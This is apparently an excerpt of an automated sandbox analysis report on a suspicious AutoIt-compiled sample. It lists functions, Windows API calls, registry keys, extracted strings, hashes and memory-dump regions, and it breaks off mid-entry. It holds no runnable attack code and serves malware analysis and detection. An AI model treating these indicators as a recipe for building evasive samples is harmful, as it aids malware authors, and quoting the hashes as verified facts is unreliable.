API String ID: 3964851224-2781437441
Opcode ID: 5b24d06816cc9a8575612682a5decfa7c6b3d09c46638de714a013fa82d865f2
Instruction ID: 8bf7a7f724639f46705f99f24b0665224643b1b2148bf040f0109dbad4b50b56
Opcode Fuzzy Hash: 5b24d06816cc9a8575612682a5decfa7c6b3d09c46638de714a013fa82d865f2
Instruction Fuzzy Hash: 0FA27D70A08355DFD710CF18C480B6ABBE2BF89314F14896EE89A9B352D775EC45CB92

Function 006DD730 Relevance: 21.6, APIs: 14, Instructions: 627sleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 006DD807
timeGetTime.WINMM ref: 006DDA07
Sleep.KERNEL32(0000000A), ref: 006DDBB1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 6b5ee86505a2915c55a1435c95bac68bb8339daaf7b59038d5ac592e4d4312cf
Instruction ID: 5a069a0b059f65590e8d978a29e9aa72318cd83de11aca0ebc9c769064dfa5ce
Opcode Fuzzy Hash: 6b5ee86505a2915c55a1435c95bac68bb8339daaf7b59038d5ac592e4d4312cf
Instruction Fuzzy Hash: EB423670A04341EFD725EF24C844BAAB7E2BF86304F14851EF8568B392D779E845CB92

Function 006D2CD4 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 006D2D07
RegisterClassExW.USER32(00000030), ref: 006D2D31
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006D2D42
InitCommonControlsEx.COMCTL32(?), ref: 006D2D5F
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006D2D6F
LoadIconW.USER32(000000A9), ref: 006D2D85
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 006D2D94

Strings

TaskbarCreated, xrefs: 006D2D37
0, xrefs: 006D2CE9
AutoIt v3 GUI, xrefs: 006D2D23
+, xrefs: 006D2CF0

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: abf4921485fad8f7decfba4dde7d85d2729b00000cda5d9487c7e036090d72f4
Instruction ID: d41e656721f8152c92dd79ceb61baa6bd4ecab2fdab06af11c530d46052495e0
Opcode Fuzzy Hash: abf4921485fad8f7decfba4dde7d85d2729b00000cda5d9487c7e036090d72f4
Instruction Fuzzy Hash: 712127B0901358AFEB01DFA4EC48BEEBBB4FB48700F00811AF552A62A0D7B91544CF99

Function 00708D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

.o, xrefs: 0070903A, 00708FD0, 00708FF2

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: .o
API String ID: 0-1957372423
Opcode ID: a2d2d4247ac27b2bcf4d84df3ef3fe38d0109192b34bf9c5af5081b4b5290163
Instruction ID: 828c8c3f5b6c32db5ec654f076e1baca557b93afdc6cd4675d5c4b882d78edf1
Opcode Fuzzy Hash: a2d2d4247ac27b2bcf4d84df3ef3fe38d0109192b34bf9c5af5081b4b5290163
Instruction Fuzzy Hash: E3C1F174A0424AEFDB51DFA8C844BADBBF1AF49310F044299F654AB3D3C7389941CB61

Function 0071065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0071039A: CreateFileW.KERNELBASE(00000000,00000000,?,00710704,?,?,00000000,?,00710704,00000000,0000000C), ref: 007103B7

GetLastError.KERNEL32 ref: 0071076F
__dosmaperr.LIBCMT ref: 00710776
GetFileType.KERNELBASE(00000000), ref: 00710782
GetLastError.KERNEL32 ref: 0071078C
__dosmaperr.LIBCMT ref: 00710795
CloseHandle.KERNEL32(00000000), ref: 007107B5
CloseHandle.KERNEL32(?), ref: 007108FF
GetLastError.KERNEL32 ref: 00710931
__dosmaperr.LIBCMT ref: 00710938

Strings

H, xrefs: 007108BD

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 3d7b2947b5edf9c0b645642d35edd098d24897b8e53abf504cab54786642d6e1
Instruction ID: de18356d564fffede57596023328c43ca7459cb933514b6fe10b67b89811eae9
Opcode Fuzzy Hash: 3d7b2947b5edf9c0b645642d35edd098d24897b8e53abf504cab54786642d6e1
Instruction Fuzzy Hash: 17A14332A001088FDF19AF6CD895BEE3BA1AF46320F14415DF811AB3D1C7799992CBD5

Function 006D344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006D3A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,007A1418,?,006D2E7F,?,?,?,00000000), ref: 006D3A78

Part of subcall function 006D3357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 006D3379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 006D356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0071318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 007131CE
RegCloseKey.ADVAPI32(?), ref: 00713210
_wcslen.LIBCMT ref: 00713277
_wcslen.LIBCMT ref: 00713286

Strings

\Include\, xrefs: 006D3527
Software\AutoIt v3\AutoIt, xrefs: 006D3560
\, xrefs: 0071328C
Include, xrefs: 00713184, 007131C5

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 4791c3cb5fc6fbc689d9389b15f960770e75618001c1425df07a554156c7de44
Instruction ID: dc0eb2053d3abf49d6fd92b1ba64864e9878e76d5ca4e9013eeafbc660286080
Opcode Fuzzy Hash: 4791c3cb5fc6fbc689d9389b15f960770e75618001c1425df07a554156c7de44
Instruction Fuzzy Hash: A571B6715043009FC744EF69DC418ABBBE8FF86740F40842EF545872B1EB789A49CB59

Function 006D2B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 006D2B8E
LoadCursorW.USER32(00000000,00007F00), ref: 006D2B9D
LoadIconW.USER32(00000063), ref: 006D2BB3
LoadIconW.USER32(000000A4), ref: 006D2BC5
LoadIconW.USER32(000000A2), ref: 006D2BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 006D2BEF
RegisterClassExW.USER32(?), ref: 006D2C40

Part of subcall function 006D2CD4: GetSysColorBrush.USER32(0000000F), ref: 006D2D07
Part of subcall function 006D2CD4: RegisterClassExW.USER32(00000030), ref: 006D2D31
Part of subcall function 006D2CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 006D2D42
Part of subcall function 006D2CD4: InitCommonControlsEx.COMCTL32(?), ref: 006D2D5F
Part of subcall function 006D2CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 006D2D6F
Part of subcall function 006D2CD4: LoadIconW.USER32(000000A9), ref: 006D2D85
Part of subcall function 006D2CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 006D2D94

Strings

0, xrefs: 006D2C0F
#, xrefs: 006D2C16
AutoIt v3, xrefs: 006D2C2F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: f6d9fe7856e3c8a7354fb36c54262a62cdc0eea2523d96967e22a9d9ffcae6af
Instruction ID: 7553c93a847984972d24c8f2b4edff7a2396c84a6737d1a18b6c23467bec22d9
Opcode Fuzzy Hash: f6d9fe7856e3c8a7354fb36c54262a62cdc0eea2523d96967e22a9d9ffcae6af
Instruction Fuzzy Hash: A7213874E00328AFEF119FA5EC55AA97FF4FB89B50F40802AE505A66A0D3B90540CF98

Function 006DB710 Relevance: 16.3, APIs: 1, Strings: 8, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006DBB4E

Strings

p#z, xrefs: 006DBA72
p#z, xrefs: 0072024F
p#z, xrefs: 00720263
x#z, xrefs: 00720207
x#z, xrefs: 00720168
p#z, xrefs: 006DBB6B
p%z, xrefs: 006DBB32
p%z, xrefs: 006DB8DC

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Init_thread_footer
String ID: p#z$p#z$p#z$p#z$p%z$p%z$x#z$x#z
API String ID: 1385522511-1284704788
Opcode ID: 4ec2818770f85ea7b984ab4cb3980e279c943042b8b502cb815c5ef230b3dab9
Instruction ID: 721285d8659759c0c7bd81cec89dafe187ed59db21ee90547f6f82226ab269af
Opcode Fuzzy Hash: 4ec2818770f85ea7b984ab4cb3980e279c943042b8b502cb815c5ef230b3dab9
Instruction Fuzzy Hash: 1C329D34E00219DFDB14CF58C894ABEB7B6FF46310F16805AE915AB356C778AD42CBA1

Function 006D3170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,006D316A,?,?), ref: 006D31D8
KillTimer.USER32(?,00000001,?,?,?,?,?,006D316A,?,?), ref: 006D3204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 006D3227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,006D316A,?,?), ref: 006D3232
CreatePopupMenu.USER32 ref: 006D3246
PostQuitMessage.USER32(00000000), ref: 006D3267

Strings

TaskbarCreated, xrefs: 006D322D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: cd151b0d83ca9ac18536566dfafa0400343550417e7bb65e33de03ee1d050927
Instruction ID: 317a016b31a23cfbf3fec66c0101b0bc463eafdfe01ad8dcbd26cf9c7b3828b7
Opcode Fuzzy Hash: cd151b0d83ca9ac18536566dfafa0400343550417e7bb65e33de03ee1d050927
Instruction Fuzzy Hash: A2414C35E00261A7EF151F789C0D7B9361BE786340F048127F542853E2C7AE9B4197AB

Function 006DDFD0 Relevance: 15.4, APIs: 2, Strings: 6, Instructions: 1414COMMON

Download Yara Rule

Strings

D%z, xrefs: 006DE4B1
Variable must be of type 'Object'., xrefs: 007232B7
D%zD%z, xrefs: 006DE27E
D%z, xrefs: 00722FDA
D%z, xrefs: 006DE1E0
D%z, xrefs: 0072302D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: D%z$D%z$D%z$D%z$D%zD%z$Variable must be of type 'Object'.
API String ID: 0-1874280672
Opcode ID: 8303d12e2cc865d3599008438d0a4f61e74f7a9edb887e8c2f2ecbd9080d5590
Instruction ID: 1b46072e2f65bd35412a9813bf7e5d9bcaff1260729c27f0cccc1bcf8af2f3bc
Opcode Fuzzy Hash: 8303d12e2cc865d3599008438d0a4f61e74f7a9edb887e8c2f2ecbd9080d5590
Instruction Fuzzy Hash: 43C28F71E00215CFCB24EF58D880AADB7B2BF49310F24855AE915AF351D37AED42CB95

Function 006DEC40 Relevance: 15.2, APIs: 3, Strings: 5, Instructions: 1195COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 006DFE66

Strings

D%zD%z, xrefs: 006DF05B
D%z, xrefs: 0072491E
D%z, xrefs: 00724972
D%z, xrefs: 006DEFB7
D%z, xrefs: 006DF36A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%z$D%z$D%z$D%z$D%zD%z
API String ID: 1385522511-3500222704
Opcode ID: ea92b81b212d096856a76c79705f4e076e542716ddba99b25a2cb48f4fa618e6
Instruction ID: 6a9b397f0a8664fa6b1de827f49c658b2baa3dca5138f19f9e79fc226d788e79
Opcode Fuzzy Hash: ea92b81b212d096856a76c79705f4e076e542716ddba99b25a2cb48f4fa618e6
Instruction Fuzzy Hash: 55B27D74A08340CFDB24DF18D490A6AB7F2BF99310F24896EE8869B351D775ED41CB92

Function 015C2600 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 015C26D1
VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 015C28F7

Memory Dump Source

Source File: 00000000.00000002.2127882402.00000000015C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15c0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID:
API String ID: 204039940-0
Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction ID: 9321df6059c4d8a7ba7af8118766fd8e0c42b9d7aa68b4eb94e7d82b9eaa2216
Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction Fuzzy Hash: 61A1E674E00209EFDB14CFE4C894BEEBBB5BF48704F208559E601BB281D7799A81CB94

Function 006D2C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 006D2C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 006D2CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,006D1CAD,?), ref: 006D2CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,006D1CAD,?), ref: 006D2CCF

Strings

AutoIt v3, xrefs: 006D2C89, 006D2C8E, 006D2C8F
edit, xrefs: 006D2CAC

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 8af7501be3801dd75187bb8726b3ba6a6747097ff38a971ee5dfa69d0d93c0a4
Instruction ID: 787d24c39cf6fb796c215e81ff7ac9d04635382443816d346e496bd3e0d5c981
Opcode Fuzzy Hash: 8af7501be3801dd75187bb8726b3ba6a6747097ff38a971ee5dfa69d0d93c0a4
Instruction Fuzzy Hash: A2F0DA765403A07AFB311B17AC08E773EBDD7C7F61F40805AF900A29A0C6A91850DEB8

Function 015C23B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 152
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 015C22A0: Sleep.KERNELBASE(000001F4), ref: 015C22B1

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 015C24F7

Strings

BK5I8PL0TMUA, xrefs: 015C255A, 015C255D

Memory Dump Source

Source File: 00000000.00000002.2127882402.00000000015C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 015C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_15c0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateFileSleep
String ID: BK5I8PL0TMUA
API String ID: 2694422964-4168286228
Opcode ID: fb8660892dd52fe47b9c078653069ff0d547368b5b6709e27a79123520aeee8c
Instruction ID: 3959f679a6c69e0664cb0304b6e168e220770dcc11aa262a21d108794f4a7f42
Opcode Fuzzy Hash: fb8660892dd52fe47b9c078653069ff0d547368b5b6709e27a79123520aeee8c
Instruction Fuzzy Hash: 0E51A330E14248EBEF11DBE4D854BEFB775AF68700F004199E609BB2C0DAB91B45CBA5

Function 00742947 Relevance: 7.8, APIs: 5, Instructions: 313
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00742C05
DeleteFileW.KERNEL32(?), ref: 00742C87
CopyFileW.KERNELBASE(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00742C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00742CAE
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00742CC0

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: f3528f63f7905f826e35ecdde586b6b69bc89900f1fa4381b82e3e7a41748364
Instruction ID: 445dfe9723d1cc7f5bda5f376bfaf13b66ee5bf9e829e6538597da3803ab7554
Opcode Fuzzy Hash: f3528f63f7905f826e35ecdde586b6b69bc89900f1fa4381b82e3e7a41748364
Instruction Fuzzy Hash: 10B16EB1D0011DABDF11DBA4CC85EEEBB7DEF48300F5040AAFA09E6152EB349A558F65

Function 00705AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

JOm, xrefs: 00705BA8, 00705C6C

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: JOm
API String ID: 0-3333332779
Opcode ID: cde4c688588551de0a28c681058d18ecc55db013d10646234923373592580bfd
Instruction ID: ec307cee2fc0882e5dbade6ab52665bad6e072e5f87d58178f11db81b096e02d
Opcode Fuzzy Hash: cde4c688588551de0a28c681058d18ecc55db013d10646234923373592580bfd
Instruction Fuzzy Hash: 3451CEB190060AEFDF219FA4C849EBFBBF9AF45314F14025AF405A72D2D6799A01CF61

Function 006D3B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,006D3B0F,SwapMouseButtons,00000004,?), ref: 006D3B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,006D3B0F,SwapMouseButtons,00000004,?), ref: 006D3B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,006D3B0F,SwapMouseButtons,00000004,?), ref: 006D3B83

Strings

Control Panel\Mouse, xrefs: 006D3B3E

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 2a1ac18a7148543ce1773203751be109abdcc8a83c13f953537b7875f6a4ae53
Instruction ID: a016f2bcac2245288c30e5814549a6a72c063dfa92362300d28b2eb19b8a528d
Opcode Fuzzy Hash: 2a1ac18a7148543ce1773203751be109abdcc8a83c13f953537b7875f6a4ae53
Instruction Fuzzy Hash: 64112AB5910218FFDB218FA5DC44AEEB7B9EF24744B10846BE845D7310E2719E409765

Function 015C12A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

